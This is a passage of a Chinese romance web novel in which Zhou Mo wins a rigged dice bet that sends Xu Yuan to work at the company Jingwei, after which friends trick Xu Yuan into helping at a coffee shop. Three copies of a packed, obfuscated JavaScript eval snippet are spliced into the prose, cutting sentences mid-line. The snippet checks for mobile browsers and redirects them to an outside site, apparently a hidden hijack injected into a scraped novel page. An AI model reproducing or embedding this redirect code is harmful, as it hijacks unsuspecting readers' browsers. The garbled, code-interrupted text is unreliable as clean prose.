“就是！”迟了了说。 嘿，许愿绷不住了：自己为她好，她还跟外人站在一队？这怎么能行！ 于是他也立马改口：“哎呀，我又不是真不支持你了，你想画就画呗，只是，嗯，不用给自己太大压力嘛！” …… 饭后，周默在厨房收拾残局。 可刚扣上洗碗机，他一转身就被不知何时进来的许愿堵了起来。 “喂，我说你够了啊，你不过是再过几个月就要搬走的人，临时朋友而已，我劝你摆正自己的位置，少两面三刀地耍心眼！”许愿恶狠狠地盯着他，低声威胁道。 周默微微垂眸看着他，面无表情。 而紧接着，他突然侧头笑了一下。 “为什么不能转正呢？”他回过头来，直视着许愿的眼睛说。 许愿顿时气结：“你终于露出狐狸尾巴了！” 周默也不演了，微微一挑眉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818891|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“咱们两个打个赌怎么样？” 许愿不知他又在搞什么花样，戒备地看着他：“什么赌？” “如果你赢了，我就搬走，如果你输了，你就进精卫，做我的员工。”周默说。 许愿一愣，竟然有些犹豫：“……你，认真的？” 虽然那个叫“精卫”的公司是有一点点吸引他，但也只是一点点啊，相比把这家伙赶出去，他当然选择赢！ “当然。不过至于怎么赌，”周默转头看向客厅，“让她来定，怎么样？” 她来定？ 许愿也回头看向外面正抱着手机玩游戏的迟了了。 让她定……也不是不行。 这么多年青梅竹马的交情，这傻丫头，应该不至于偏袒外人吧…… “好，赌就赌，”许愿退开两步，抬手指着周默，“你说的啊，你输了，立马搬走，不准再耍心眼！” “你输了，进精卫。” “一言为定！” - 三天后，801。 大理石餐桌旁，迟了了、周默、许愿、祝赫，还有闯闯，五人围坐一圈，气氛肃穆郑重。 周默和许愿各据一端，分别坐在餐桌的两头，作为裁判的迟了了单独坐在一侧的中间，小而翘的鼻子上架了副无镜片的黑框眼镜，身穿斗篷式小上衣，神情是从未有过的庄重，俨然一位公正无私的“法官”。 另一侧，祝赫坐在周默身旁，双手抱臂懒洋洋地靠在椅背上，很是随意，闯闯则坐在许愿这边，一脸“我只是个群演”的闲适。 一头的许愿看看左边，又看看右边，蒙了。 “不是，您哪位？”他看着祝赫纳闷地问。 好像有点眼熟，但似乎又没见过。 不对，这不是重点！ 他猛地一醒——有没有搞错，今天只是一个打赌，为什么突然冒出来这么多不相干的人？ “我？”祝赫牵起唇角邪肆一笑，举了举面前的一个牛皮纸袋，“你未来老板。” 许愿眉头一拧，想起来了。 之前查精卫资料的时候，他见过这位创始人的照片。 “那这是什么？”他示意了眼那个牛皮文件袋，又问。 “合同啊，”祝赫笑得像只等待猎物落网的狐狸，“只要结果一出来，咱们立马签合同，以后你就是我们精卫的员工了！怎么样，亲自把合同送上门来，我这老板够有诚意吧？” 诚意？ 呸，真晦气！ 许愿毫不迟疑地别开头。 转头再看闯闯，他更加心累：“您怎么也来了？” 闯闯笑得一脸和善：“我来做个见证人，顺便看看能不能捡个员工回去。” 许愿整个人差点裂开：“……哈？” 他怎么有种进了狼窝的感觉？ 祝赫一听这话倒来了兴趣，倾身凑过来一点：“哟，你也是来招人的？” “嗯，”闯闯耸耸肩，“不过立场跟你相反。” “嗐，这有什么！”祝赫不以为意，朝她伸出右手，“友谊第一比赛第二，幸会！” 闯闯觉得这人有点意思，伸手搭了一下：“幸会。” 作为当事人的许愿看着这两个想要将自己瓜分了的人如此和气，顿时有种毛骨悚然的感觉，他不禁打了个冷战，赶紧收回视线，看向另一边。 结果这一看，却见迟了了正跟周默打着眼色。 “咳！”他清清嗓子，不耐地开口，“行了行了，开始吧！赌什么？” 64. 赌局开始 周默还没明白迟了了冲自己眨眼的意思，她就已经坐正身体，眼睛晶亮，反手扣了两下桌面，拿出一口播音腔： “各位，关于‘赌什么’这个问题，我这几天，很认真地想了一下！” “你，许愿同学，”她煞有介事地朝他伸出左手，“荔大医学院本硕连读的高材生，又是JHU生物医学工程专业的博士，是个优秀的人才。” 换只手，她继续说：“而你，周默，MIT计算机专业博士，曾担任过五年大学助教，并任职于国际顶尖的人工智能研究所，当然，也是个人才。” 说到这儿，她双手一合：“但是呢，你俩不是同一领域的，比专业能力和智力实在没有必要，而且我也不懂。所以我觉得，这次打赌，得找一个难度不高、大家都懂、用不着动脑子，并且胜负结果足够客观的方式！” “嗯，有道理！”祝赫很是捧场地附和。 迟了了开心地朝他咧嘴一笑，下一秒想起自己今天的角色又立刻绷起脸：“所以，我绞尽脑汁，想到了一个办法！” “什么办法？”许愿问。 迟了了神秘地笑了笑，圆溜溜的眼睛环视一圈，等所有人好像都被自己吊起了胃口后，才伸手掏进了口袋里。 几秒后，她将一个小拳头放在了桌子上。 然后，在四人的目不转睛中，她缓缓张开手指，露出掌心里那两枚洁白做底、蓝红相配的小方块—— “当当！摇、骰、子！” 话音落下，现场一片死寂。 突然，祝赫一个没忍住，扑哧一声打破了沉默。 许愿也忍不住了，吐槽：“迟三三，亏我还以为你会想出什么千奇百怪的办法来折腾我们，就算不比编程，那还有下棋、画画、吃辣椒、打游戏、背圆周率……各种，甚至我都准备去背你屋里那一整墙颜料的名字了，结果你给我搞这出？这也太没技术含量了！” “要的就是没有技术含量啊！”迟了了理直气壮地说，“没有技术含量谁输谁赢才一目了然嘛！我本来还想用剪刀石头布呢，可是一查，发现剪刀石头布也有诀窍，所以就被我pass了。” 周默回过神来，强忍着唇角的笑意，眼尾却止不住翘起来。 他点点头，说：“挺好的，朴实无华。” 迟了了转头看向他，两人目光相对，下一秒心照不宣地笑了一下。 半年前，袁周率还在这儿的时候，有一次迟了了和他玩大富翁的游戏。那次两人战况很是焦灼，直到晚饭时间，周默做好饭叫了他们好几次，两人还是不舍地结束。 最后，耐心告罄的周默来到两人面前，说要和他们比摇骰子，如果他们摇出的点数超过自己，那就随便他们玩。 ……也是那次，迟了了才知道，周默这人不仅学习好，在摇骰子上竟然也仿佛有赌神附体，想摇几点就能摇出几点，而且百发百中，简直不要太神奇！ 当时迟了了还开玩笑，说他可以去拉斯维加斯，说不定能赢个上亿身家回来。 虽然那次是玩笑，但今天这技能却派上了用场。 迟了了又看向对面闯闯。 闯闯接到她信号，清清嗓子，也开口附和：“是挺好，可以速战速决。” 已经获得两票支持，许愿的嫌弃也就不重要了。迟了了回身拿过提前放在一旁的马克杯，将那两枚她从大富翁游戏里拿来的骰子放进去，又盖上原本作为杯垫的木质小托盘，晃了晃。 “好了，”她拿个小汤匙敲了敲杯身，“那么，今天的比赛即将正式开始，三局两胜，如果前两局是同一人胜出，比赛就可以提前结束！” …… 比赛第一局，周默先摇。 只见他骨节分明的大手握上杯子，食指穿过把手，三指捏住底，又用大拇指扣住杯盖，一个拧腕将杯子翻转过来，先随意摇晃了两下。 骰子碰撞杯壁，立即发出一连串叮呤当啷的脆响。 他又停了下来，像是思索了一阵，然后才正式摇晃起来。 迟了了目不转睛地盯着他手中的杯子，眼睛一眨也不眨——虽然知道周默有幸运体质，可毕竟这说法太玄妙，要说完全不紧张，那是假的。 闯闯也看着他，只是不多时目光便从杯子上移到迟了了身上，看着她的反应，隐隐觉得有些不对。 许愿则觉得周默是在装腔作势，虽然也盯着他，面上却很是不以为意。 只有祝赫不同。 他懒散地靠在椅背上，一手撑在扶手上托在耳边，翘着的二郎腿还一晃一晃地，整个人看起来悠闲从容，跟看戏似的。 闯闯跟他离得近，很难不注意到他的动作，忍不住好奇地低声问他：“你就不担心？” 祝赫闻言侧过头，笑道：“担心？你对这家伙的变态一无所知。” 想当初在荔大读书的时候，他们团队里的几人因为觉得比脑子缺乏挑战性，也都是用类似纯拼运气的方式来决定谁买饭、谁打水、谁倒垃圾的。 摇骰子不过是其中一项而已。 可要不说周默这人变态呢，几次下来，连这种游戏也能被他玩得得心应手。在祝赫的记忆中，在他们几人终于发现不对劲而更换其他游戏的时候，周默摇骰子的功力已经诡异到能跟电影里的赌神比一比的程度了。 打那之后，他就明白了，你千万别给周默机会研究任何东西，不然凭他的智商，他可能会成为下一个“司马贺”。 闯闯却撇了下嘴，觉得他是在装逼。 这时周默动作停了下来，将杯子倒扣在桌上。 杯子开启，两枚骰子显露在几人眼前—— 迟了了报数：“一三一四，共七点。” 是个中不溜的点数。 闯闯瞄了祝赫一眼，心想这人果然在装。 许愿不禁“切”了一声：还以为这人多厉害呢！ 二话不说，他伸手抢过杯子也摇起来。 然而几秒钟后—— “两个二，共四点。” 迟了了拿勺子又敲了下杯壁，宣布：“第一局，周默胜。” 清脆又稳重的声调里，还带着一丝……看热闹不嫌事大的惋惜。 许愿原本志在必得的脸色立刻难看了下来。 周默了然一笑，在迟了了“第二局开始”的宣布中再次拿过杯子摇起来。 “诶妹子，”祝赫依旧那副不慌不忙的样子，侧身继续找闯闯闲聊，“听说你开了家咖啡店？” “对呀。”闯闯目不斜视地回答。 “开在哪儿？” “怎么，你要去捧场？” “如果不远的话，也不是不行啊。” “不远，就在CBD旁附近，‘或者’咖啡。” “‘或者’？什么意思？” 闯闯耸耸肩：“就‘另一种可能’咯。” “另一种可能……”祝赫咂摸片刻，“有品位，诶，那看在也算认识的份儿上，能打折吗？” 一直目不斜视的闯闯立刻满眼震惊地看向他。 这人明明比自己大几岁，还开公司当老板，怎么这么不要脸？！她心想。 祝赫见她这反应，终于没忍住笑了起来。 “哈哈哈开个玩笑，别当真。”他摆手说道。 闯闯顿时：“……”神经病！ 好在这时，这对迟了了敲了敲桌子，并说了句：“比赛场合，肃静啊。”她索性趁势扭回头，懒得再搭理他。 而在两人说话间，第二局已经结束。 这一局周默的总点数还是七，许愿却拿了两个六，以十二的总点数遥遥领先。 “Yes！”他激动握拳，嘚瑟地朝周默扬起下巴，一副欠揍的样子。 周默却一个眼神也没给他，只是专心留意着迟了了的反应——像是……想从她的反应里看出点什么。 而结果如他期望，迟了了果然十分诧异，立马紧张地看过来。 从这丝毫做不得伪的眼神里，周默如愿看到了自己想要的答案。 他不禁有些想笑。 迟了了却没明白这人今天是怎么回事，心里急得不行！ 他之前不是想摇几点就能摇几点吗，怎么这次竟然摇了两次七点出来，甚至让许愿赢了他？！现在好了，一比一平，下一局可就一丁点意外都不能出了！ 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一桌人看到他这一连串堪比祭祀的诡异动作简直无语，闯闯更是忍不住朝天翻了个白眼，只觉得今天这一桌除了自己怕是没几个正常人。 待漫长的“仪式”结束，许愿终于摇起了骰子。 “叮呤当啷、叮呤当啷——” 这一次，他摇的时间比之前两次加起来都长，节奏也是时快时慢。 就在四人在这并不美妙动听的声音中差点“失聪”的时候，他终于停了下来，小心翼翼跟对待祖宗似的将杯子倒扣在桌面上，然后再次合十双手，又拜了两拜。 最后，他才低下头，凑到杯口，一点点、一点点，掀开了杯子。 “YES！YES！！YES！！！” 下一秒，没等几人反应过来，他便兴奋地振臂大叫起来，同时一下子拿开杯子，完全露出木杯垫上的两颗骰子—— 一五一六，共计十一点。 这一次，连祝赫也淡定不了了，和迟了了与闯闯一起转头看向周默。 当然，许愿也是看着周默的。 “你可别再摇个七哦~”他“亲切”地说。 周默抬眼，波澜不惊地对上他的视线。 四目相对间，仿佛有火花噼里啪啦四散飞溅！ 突然，周默笑了一下。 只见他拿过杯子、将骰子放进去、盖上木杯垫，随即再次用刚刚的手势握住杯子，然后轻轻地、缓慢地摇晃起来。 叮叮当、叮叮当—— 似乎只是因为刚刚许愿闹出的动静太大，这一次他用了十分温柔的手法摇晃着杯子，动作间，骰子再度撞击杯壁，发出缓慢而富有节奏感的声音。 听起来，还有几分悦耳。 而跟许愿刚刚环节繁杂漫长的“仪式”也不同的是，他只摇了几下，便停了下来。 将杯子倒扣在迟了了面前，他朝她示意了一下，便收回手。 迟了了一愣：“……我来开？” “嗯。”周默点点头。 突然被委以这样的重任，迟了了一下子紧张起来。 她环视一圈，目光看过周默、祝赫、闯闯和许愿，最后又落回面前的杯子上。 咽了口唾沫，她深吸一口气，缓缓抬起双手，准备掀开杯子。 然而手刚要触碰到杯子，她又忽然缩了回去，紧张地双手合十，像许愿刚才一样也朝那杯子虔诚地拜了两拜。 闯闯、祝赫顿时满头黑线。 周默则低下头，抬指掩唇。 许愿看不过去了：“哎哟赶紧的！”说着就要伸手代劳，可不想手还没碰到杯子就被迟了了“啪”地一下打了回来！ “别打断我施法！”迟了了凶巴巴地瞪他。 许愿：“……” “行行，您请。”他揉了揉生疼的手背，怂巴唧唧地说。 可被他这一打断，迟了了的心情都没了，她丧气地看着面前的杯子，又埋怨地瞥了周默一眼，也不酝酿了，直接上手就拿开了杯子。 然而下一秒，除了周默之外的四人，看着那两枚白底蓝点的骰子，齐齐陷入沉默。 65. 还有一坑 漫长的沉默后，迟了了抬手想要揉揉眼睛，可手刚举起来就被镜框挡住了。 她顾不上其他，随手摘下眼镜丢到一旁，扒着桌子凑近两枚骰子。 “……平局？” 她抬头看向闯闯，在得到对面同样吃惊的肯定点头后，又怔怔看向周默。 周默一脸无辜地对上她的视线，又一脸无辜地低头喝了口水。 “怎么可能？！”许愿一下子喊出来，一个伸手将那小杯垫拉到自己跟前，凑近一个一个的数。 可无论他数几遍，客观事实摆在眼前，小杯垫上的两个骰子还是一五一六，共计十一个点数，和他刚刚的一模一样。 这算什么？ 平局？ 不，这不只是平局，这是他到手的胜利没了！是他煮熟的鸭子飞了！是—— 他原本信心在握，想着自己都摇了十一点了，这家伙想要赢就必须摇出双六，这可能性只有三十六分之一，哪能这么巧就给他撞上了呢？ 可他没想到，还有一种可能——平局。 看着年轻人怀疑人生的小模样，祝赫都有点不忍心了，他摇摇头，叹了口气，然后……伸手解开了文件袋的绳子。 仿佛是一个猎人，在准备收网。 一直心不在焉的闯闯则被这副局面吊起了胃口，看看这个，又看看那个，缓缓坐直身子：事情，好像开始有趣起来了！ 作为现场唯一一个镇定的人，周默咽下口中的水：“所以，要加时吗？” 迟了了猛地回过神：“加！加时赛！” 她捡起镜框重新戴上，再次坐正，清清嗓子：“咳，因为前三局双方各有一胜一负，又有个平局，所以先前三局两胜的规则需要临时修改，刚刚的第三局不计入比赛，接下来谁先赢一次，本次比赛就算谁赢！开始！” 任谁也没有想到，一场小小的、原以为三五分钟就能结束的摇骰子比赛，竟然还能进行到加时赛的环节。 看透这一切的祝赫不禁从心里赞叹一句：还是周默这家伙会玩！ 要不是他深藏不露，“老狐狸”这名号还能落自己头上？ 不过想到什么，他还是凑过去低声劝了句：“差不多行了，别把孩子玩儿坏了。” 周默瞥了他一眼，没有应声。 …… 第四局开场。 许愿不服输，还是坚持自己先摇。 毕竟是真心想把人挖去自己公司，而且接下来还要让人遭受一次打击，周默不跟他计较这个，欣然应允。 当然，还有一个原因，是他需要根据许愿的点数来决定自己的点数，如无必要，还是不要超过太多，不然怕这孩子经不住打击哭鼻子。 感觉虚张声势的流程并不能有效地给自己提供加成，这次许愿反其道行之，直接摇了几下就停了。 开杯一看——一三一六，共九点。 胜负空间都挺大的。 许愿深吸一口气，让自己稳住别慌。 接下来换周默，同样的速战速决，开出了双五，共十点。 “当当当——” 迟了了手持汤匙敲响杯身，兴奋宣布：“作为本次比赛的裁判，我正式宣布，本次摇骰子比赛，获胜者是——周默！” “喔！——”“氛围担当”祝赫立刻鼓掌欢呼。 闯闯瞥了他一眼，满脸嫌弃，不过顿了顿，也敷衍地拍了两下。 许愿一脸颓丧地靠在椅背上，满眼怨屈地看着在场所有人。 待掌声停止，祝赫拿出早已准备好的合同和笔热情地放到他面前：“来来来，欢迎加入精卫科技！看看你的合同，薪资、福利、title，有没有异议？没有的话就签字吧！一式两份，都要签啊。” 一见那合同，上一秒还颓丧的许愿秒变河豚，怒目瞪视着这个趁火打劫、一点缓冲都不给自己留的男人。 祝赫脸皮厚，自然没有不好意思这份觉悟，迎着他怨怼的眼神，笑眯眯地又将合同推近一些。 “哼！” 许愿怒哼一声，几乎是用甩的用砸的拿起笔、翻开合同，乒铃乓啷地低下头。 下一秒，他忽地愣住。 “点睛项目组？生物算法研发工程师？月薪7万？14到20薪！”他震惊地看向祝赫，不敢相信他竟然舍得给自己这样的title和这么高的薪资。 祝赫还是那副笑眯眯狐狸般的表情：“我们精卫虽然规模不大，但盈利还不错，工资自然开得起。再说了，除了网上那些资料，同为荔大校友，我们俩在母校还是有点人脉的，想对你做个简单的背调也不是难事，更何况你还有JHU医学院的金字招牌。” 说到这儿，他停顿了一下，看向许愿的眼神里透出不加掩饰的赞赏：“小学弟，你不用怀疑，你是个很优秀的人才。当然了，最重要的是，你之前的研究课题跟我们足够对口且角度深入独到，所以，你恰好就是我们正需要的那种优秀人才。” 这番打个巴掌又给个甜枣的操作，让许愿一时有些不知该拿什么心情面对。 虽然他们不经自己允许便擅自对自己进行背调的行为，让人有点不舒服，而且他还叫自己“小学弟”——呸，真难听，瞧不起谁呢——可他的夸奖和认可，又说得许愿有些飘飘然。 回国以来，找工作的过程中他也算是见识了形形色色的人和形形色色的企业、机构，可以毫不夸张的说，面前这人说的，最真诚，也最没有花架子。 不像某些公司，跟你说了一堆公司如何如何好、未来发展前景如何如何后，总要跟个—— 瞬间，许愿一个激灵，赶紧又问：“‘但是’呢？” 祝赫一蒙：“但是？” “啊，说了这么多好处，总有个‘但是’吧？” “额——” “但是，”这时，周默开口了，“你刚毕业不久，组里有一半人年龄比你大，怎么赢得他们的信服，需要靠你自己的本事。” 许愿闻言看向他，面无表情。 周默也看着他，沉默不语。 “切——” 突然，许愿不屑一笑：“瞧不起谁呢！” 说罢，他低头继续刷刷刷翻看合同，但显而易见的，动作比刚才轻了很多。 合同很快看完，没有什么异议，可想到自己如果就这么屈服了，他还是不大乐意，于是又将合同翻到前面，对着空缺的入职日期开始作妖。 “现在天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818893|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了，我不想早起去上班，而且也快过年了，没心情，所以入职日期定在年后，你们没意见吧？” 祝赫一听这话，和周默交换了个无奈的眼神。 可还没等他俩开口，迟了了便恨铁不成钢地丢过去一勺子：“许愿你似不似sa？现在离过年还有一个月呢，而且年前入职你还能蹭个春节的带薪年假，月薪7万，一天就是，额——” 她突然卡壳，仰头盘算起来。 “两千三百多。”周默温声提示。 “对！两千三百多！一个春节起码就是，额——” 周默再次：“一万六千多。” “没错，一万六千多！一万六千多白拿你都不要，你是不是钱多烧得慌？” 许愿这乔刚拿起来就被她劈头盖脸骂了一顿，瞬间蒙了，等反应过来也不服气了：“迟三三，你站哪头的？我都答应给他打工了，我晚点去上班怎么了？” 迟了了一瞪眼，还要再说什么，却被一直看热闹的闯闯伸手拦了下来。 “都冷静冷静，”她柔声说，“作为曾经的打工人呢，我倒是很理解许愿，不说他，放在任何一个员工身上，就算有钱，春节前入职一家新公司也是不大情愿的，毕竟谁不想早点放假过年呢？更何况，这已经是他人生中最后一个寒假了。” 最后这话一出口，原本根本没往这处想的许愿，立刻感觉心被扎了一下—— 等等，自己以后就没有长假了？ 虽然自从上了大学寒暑假自己也没闲过，可苍蝇腿也是肉，忙的假那也是假呀！以后这假就彻底没了？对了，这精卫科技扣唧巴索的，一年的带薪假才15天！ 呜呜，自己真的太可怜了！ 此时的许愿还没有注意到，虽然他还没有正式入职，但打工人的标配心理之一——嫌弃自己的公司，他已经开始掌握了。 “不行，必须年后！”他一拍桌子，果断把话撂下。 周默和祝赫交换了个眼神，不约而同看向突然跳出来拱火的闯闯。 闯闯转过头去，伸手抿了抿头发，顺势挡住两人的目光，当做什么也不知道。 两人：“……” “成吧，年后就年后。”祝赫拿回合同和笔，并翻开手机日历，“年后初十行吗？” “嗯，也行吧！”许愿不情不愿地应道。 祝赫唰唰几笔在合同上写下相应的日期，又给他推回去。 跟人讨价还价，得讲究个见好就收，这次许愿没再说什么，老老实实在上面签了字。 将两份合同装回文件袋里，祝赫离开前再次意味深长地看了闯闯一眼，然后又同情地看向许愿。 最后，他摇摇头，对迟了了摆摆手：“小知了，我先走了，下回见！” 迟了了热情地送他到门口，笑嘻嘻招手告别：“祝赫拜拜！” - 等再回来，迟了了坐回原来自己原来的位子上，又轻轻将椅子朝许愿那边挪了挪。 周默挑眉看着这一切，自觉起身离席。 离开前，他给了许愿一个“自求多福”的眼神。 可惜正处于复杂情绪中的许愿丝毫没有领会到，还以为他是识相地把空间让给他们三人。 66. 一兔两吃 待无关人等都清空，迟了了跟闯闯使了个眼色。 闯闯表示收到，转而看向许愿。 “兄弟，我帮你争取了这个寒假，你得谢谢我吧？”她问。 许愿不疑有他，立马乐呵呵拱手：“谢谢谢谢，多谢闯女侠路见不平，仗义相助！” 闯闯对他这回应很满意，可紧接着脸色一变，叹着气说：“可惜啊，我本来还想让你去我们店里搭把手呢，结果你还是被他们给签走了……唉，看来阿葱这回是真要走了！” “嗯？”许愿一呆，“阿葱？为什么我进精卫，阿葱就要走？” 关于阿葱，他听迟了了提起过，说是从“或者”刚开业的时候就在，也算是老员工了，怎么突然要走？而且听上去还跟自己有关？ 闯闯又叹了口气：“入冬后店里生意好，我和阿葱两个人也越来越忙，之前一周我还能让她休个一两天，但现在别说一两天，半天都休不了了！小丫头觉得太辛苦了，前几天跟我提离职的事儿呢！” 许愿一听笑了：“这还不简单？你再招个人，或者给她加工资不就行了！” 闯闯像是被他的天真逗乐了，无语地摇摇头，没有接话。 低头的瞬间，她给迟了了去了个眼神。 “哎呀，你懂什么呀！”迟了了立刻接过话，“招人哪有这么容易，年底了，谁愿意轻易辞职，都在老东家待着准备拿一份年终奖金呢！至于加工资，闯闯已经给她加过了，可是人少活多，这是事实，加工资又不能让她多长出两只手来！” 哦，这样…… 许愿明白过来：“难怪你之前说，想让我去店里上班。” “对呀，虽然我偶尔也能去搭把手，但又不能天天在那边！”迟了了说，“阿葱要是走了，店里就闯闯一个人肯定忙不过来，到时候店里肯定要混乱一阵子！而且你没看到之前网上的新闻吗，因为咖啡店太忙，顾客等太久，店员跟顾客都打起来了！” 啊呀，这新闻，许愿确实看到过，此时被她这么一说，情况好像还真让人有点担心。 他想了想，试探着问：“那这个忙季，大概要多久？” “也就春节前这段时间吧，最冷的时候。”闯闯立刻说。 许愿拧眉思索起来。 眼见胜利在望，闯闯从桌子底下踢了迟了了一下，让她赶紧再加一把火！ 迟了了点点头，眼睛一转，来了主意。 然而不等她开口，许愿忽地猛一拍桌子：“有了！” “什么？”两人被吓了一跳，齐齐瞪眼看向他。 “我有主意了，”只听许愿双手一拍，满脸笑意地提议道，“找个大学生啊！” 两人一呆：“……哈？” 许愿仍未发现她们不对，兀自激动地说着：“你想啊，这段时间刚好放假，一定有很多大学生出来勤工俭学！而且大学生价钱低又能干，学东西上手还快，多划算啊！” 局势转变得过于突然，无异于眼看下一步就要进坑的猎物突然在坑边儿调了个头，又要跑远了。闯闯瞬间倒吸一口气，示意迟了了赶紧想办法！ 迟了了一边示意她稍安勿躁，一边飞速转动大脑…… 有了！ “嗨呀，这办法当然想过，可是根本行不通呀！”她唉声叹气地拍着桌子，说，“放假前要期末考，本来兼职的大学生都要请假，别说你现找新的了！而且寒假不像暑假，谁不回家过年？愿意兼职的大学生根本没几个好吧！” 许愿眨眨眼：“……哦，也是。” 被她这一说，他也觉得自己刚刚的提议有点草率了。 迟了了和闯闯相视一眼，顿时松了口气。 许愿低头想了想，感觉似乎没有别的办法了，想到闯闯刚还帮了自己，要不然…… “要实在不行，我——”他迟疑地呢喃着，但又下不了决心。 心痛！ 那可是自己好不容易争取来的寒假！ 最后一个寒假呀！ 然而一听他松口，迟了了双眼放光，哪里还会给他反悔的余地！ “什么？你说你要去？！”她立马将他没说完的那半句补全，补全了还不算，又忙不迭看向闯闯，“闯闯，许愿说他愿意去！” “真的吗？”闯闯一把抓住他的胳膊。 许愿大脑一空：“我——” “当然！我就说许愿人帅心善，知道你为难肯定会帮你的！”迟了了完全不给他说话的机会，接着说道。 “太好了！”闯闯抬手就给了他肩膀重重一下，“仗义！” 嘶！ 许愿感觉自己肩膀都被拍麻了，可呆愣的神智也被这一下拍了回来，立马就要开口：“我——” “可是，”闯闯又尴尬地看向迟了了，“以许愿现在的身价，我可请不起。” “你把许愿当什么人了，他都是拿月薪7万的人了，还会要你那点工资吗！”迟了了说。 许愿一听，这怎么能行！ “我——” “那太好了！许愿，我决定跟你道个歉！”闯闯郑重地看着他。 “啊？”刚回归的神智再次出走，许愿满脸茫然。 “我以前对你认知有偏差，以为你只是徒有学历，实际长得花里胡哨不说，性格还讨人厌，嘴还有点贱……” “嘿——”许愿立即朝她瞪眼。 闯闯拍拍他，缓了缓语气：“但今天我知道了，你是个好人！不仅学习好、颜值高，人还好，简直就是720°全方位无死角发展的高质量男性！堪称男人的榜样、人类之光！” 如果夸奖的加成效果能够可视化，许愿觉得那一定是金色的，因为听完闯闯的这一番话，他感觉自己头上都在闪闪发光，就像神话剧里，那种脑袋会发光的神仙一样！ 他无比舒坦地坐直身子，整个人晕晕乎乎，仿佛沐浴在自己的圣光中…… “嗯，这算什么，我原谅你了！”他“大度”地摆摆手，“咖啡店是吧，小忙而已，不用客气！” 成了！ 闯闯满脸惊喜，朝迟了了悄悄比了个赞。 …… 时间倒回前一晚。 901，迟了了一边敷面膜，一边跟闯闯打着语音电话。 “许愿现在回国了，就业问题肯定要解决的，我查过了，周默那公司确实不错，所以明天这场比赛，我肯定会想办法让周默赢。但入职了精卫，许愿肯定心不甘情不愿，根据我对他的理解，他一定会在什么地方作个妖，到时候咱俩就可以趁虚而入！”迟了了拿按摩锤敲着小腿，说。 “怎么入？”闯闯问。 “见机行事，你看我眼色就知道了。到时候我主黑脸你主白脸！” 闯闯想了一会儿，怀疑地问：“听起来问题倒是不大，可你确定许愿会掉坑？到底也是个高材生，不至于这么傻白甜吧？” “嗯~”迟了了撇着嘴摇摇头，“我还不知道他，那脑子就在学业上管用，一回归生活就下线。别管在学校有多学霸，回来就一个字——二！放心，肯定没问题的！” …… 送走闯闯，迟了了倚在门口看向客厅。 而从餐厅转移到沙发，许愿仍沉浸在闯闯的夸奖中，惬意地哼着歌。 作为和他一起长大的人，眼看着他今天一步步欢天喜地往坑里蹦跶，并在短短半天时间里将自己“卖”了两次——其中有一次还是无偿贱“卖”，迟了了简直要为他掬上一把同情泪。 然而转念一想—— 谁同情谁啊，这家伙7万月薪呢！ 算了，骗骗更健康，就当给他破财消灾了！ 想通这点，迟了了彻底没了心理负担，蹦蹦跳跳地回去画稿子去了。 - 许愿是在第二天一早接到闯闯通知上班的消息时，才反应过来的。 这时，周默已经去了公司，睡了一觉缓过神来的他顶着凌乱的红发，拿着手机在客厅里无头苍蝇似的四处打转，转了好几圈才停住。 最后，他深吸一口气，仰头怒吼：“迟，三，三！” 而楼上正睡懒觉的迟了了在被窝里翻了个身，睡得更香了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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甚至还有MCN公司慕名而来，想要跟许愿签约，把他打造成公司头部网红。 毫无疑问，结果是被许愿严词拒绝！ 笑话，他明明可以靠脑子，为什么要靠这张脸！ 他当然知道自己够帅，可当网红明星？切，太没挑战性了。 他的理想，是去精卫，跟周默祝赫这样的人一较高下、创造神话！OK？ 阿葱是知道他只是临时来帮忙，年后就要去高科技公司干每月好几万工资的活的，但面对这样一张脸，还是难免蠢蠢欲动，总想着说服他去她们二次元圈子晃一圈。 她相信，只要许愿肯定出镜，以自己的化妆和拍照技术，绝对能把他打造成他们圈子的“白月光”！ 总而言之言而总之，在这个冬天，许愿就这样成为了“或者”的“冬日限定招牌”。 - 今年是个冷冬，自入冬起，冷空气便不似往年那样小打小闹，到了年底，温度更是罕见地跌到了零度以下。 这天，周默早上出门时天气便阴沉沉的，等到中午时分，云层中的水汽终于承受不住寒风的侵袭，大片大片的雪花开始从空中洒落，很快便将整座城市包裹在一片白茫茫中。 鹅毛般的大雪连下了数小时，等到下午临近下班的时候仍然没有转小的趋势。 窗外，路边草丛、人行道、树上和房顶上都铺了一层厚厚的白，而马路上的雪则被车轮不断碾过，尽数化作一摊泥泞的雪泥。 周默从办公室窗前俯瞰着这一幕，担心等到了晚高峰会拥堵更厉害，于是决定提前下班。 车子驶进小区，在8号楼前停下。 他熄了火、拔下钥匙，解开安全带，又拿过副驾的电脑包，推门下车。 可不想脚刚落地，回身关门瞬间，突然“嘭”的一声，后背被人用力砸了一下。 周默立刻回头看去，果不其然，身后不远处的小花园里，迟了了正得意地朝他比着剪刀手： “打中啦！” 67. 恐龙大军 翠绿的小叶黄杨上覆着一层厚厚的雪白，白与绿相互映衬，将那绿显得更加青翠欲滴。 